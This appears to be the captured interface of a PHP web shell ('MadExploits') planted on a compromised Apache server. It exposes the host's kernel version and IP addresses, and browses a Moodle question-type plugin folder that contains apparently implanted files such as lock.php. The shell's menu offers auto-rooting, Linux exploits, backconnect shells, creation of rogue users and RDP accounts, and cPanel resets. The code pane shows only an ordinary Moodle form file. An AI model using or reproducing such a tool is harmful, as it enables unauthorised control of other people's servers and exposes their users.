Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
question /
type /
combined /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
combinable
[ DIR ]
drwxr-xr-x
combiner
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
README.md
2.07
KB
-rw-r--r--
changes.md
2.74
KB
-rw-r--r--
cloud.php
25.87
KB
-rw-r--r--
edit_combined_form.php
4.33
KB
-rw-r--r--
lib.php
1.63
KB
-rw-r--r--
lock.php
358.07
KB
-rw-r--r--
question.php
9.75
KB
-rw-r--r--
questiontype.php
11.21
KB
-rw-r--r--
renderer.php
8.63
KB
-rw-r--r--
settings.php
2.29
KB
-rw-r--r--
styles.css
4.5
KB
-rw-r--r--
version.php
1.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_combined_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Defines the editing form for the combined question type. * * @package qtype_combined * @copyright 2013 The Open University * @author Jamie Pratt <me@jamiep.org> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot .'/question/type/combined/combiner/forform.php'); /** * Combined question editing form definition. * * @copyright 2013 The Open University * @author Jamie Pratt <me@jamiep.org> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qtype_combined_edit_form extends question_edit_form { /** * @var qtype_combined_combiner_for_form used throughout the form */ protected $combiner; public function __construct($submiturl, $question, $category, $contexts, $formeditable = true) { $this->combiner = new qtype_combined_combiner_for_form(); parent::__construct($submiturl, $question, $category, $contexts, $formeditable); } protected function get_current_question_text() { if ($submitteddata = optional_param_array('questiontext', null, PARAM_RAW)) { return $submitteddata['text']; } else if (isset($this->question->id)) { return $this->question->questiontext; } } /** * @param MoodleQuickForm $mform * @return void * @throws coding_exception */ protected function definition_inner($mform) { if (isset($this->question->id)) { $qid = $this->question->id; } else { $qid = null; } $this->combiner->form_for_subqs($qid, $this->get_current_question_text(), $this, $mform, $this->question->formoptions->repeatelements); if ($mform->elementExists('status')) { $insertbefore = 'status'; // Moodle 4.x. } else { $insertbefore = 'defaultmark'; // Moodle 3.x. } $placeholders = array_map( function($placeholder) { return html_writer::empty_tag('input', ['type' => 'text', 'readonly' => 'readonly', 'size' => '22', 'value' => $placeholder, 'onfocus' => 'this.select()', 'class' => 'form-control-plaintext d-inline-block w-auto mr-3']); }, qtype_combined_type_manager::get_example_placeholders()); $subq = $mform->createElement('static', 'subq', get_string('subquestiontypes', 'qtype_combined'), implode("\n", $placeholders)); $mform->insertElementBefore($subq, $insertbefore); $verify = $mform->createElement('submit', 'updateform', get_string('updateform', 'qtype_combined')); $mform->insertElementBefore($verify, $insertbefore); $mform->registerNoSubmitButton('updateform'); $this->add_combined_feedback_fields(true); $this->add_interactive_settings(true, true); } protected function data_preprocessing($toform) { $toform = parent::data_preprocessing($toform); $toform = $this->data_preprocessing_combined_feedback($toform, true); $toform = $this->data_preprocessing_hints($toform, true, true); if (!empty($toform->id)) { $toform = $this->combiner->data_to_form($toform->id, $toform, $this->context, $this->fileoptions); } return $toform; } public function validation($fromform, $files) { $errors = parent::validation($fromform, $files); $errors += $this->combiner->validate_subqs_data_in_form($fromform, $files); return $errors; } public function qtype() { return 'combined'; } }
Close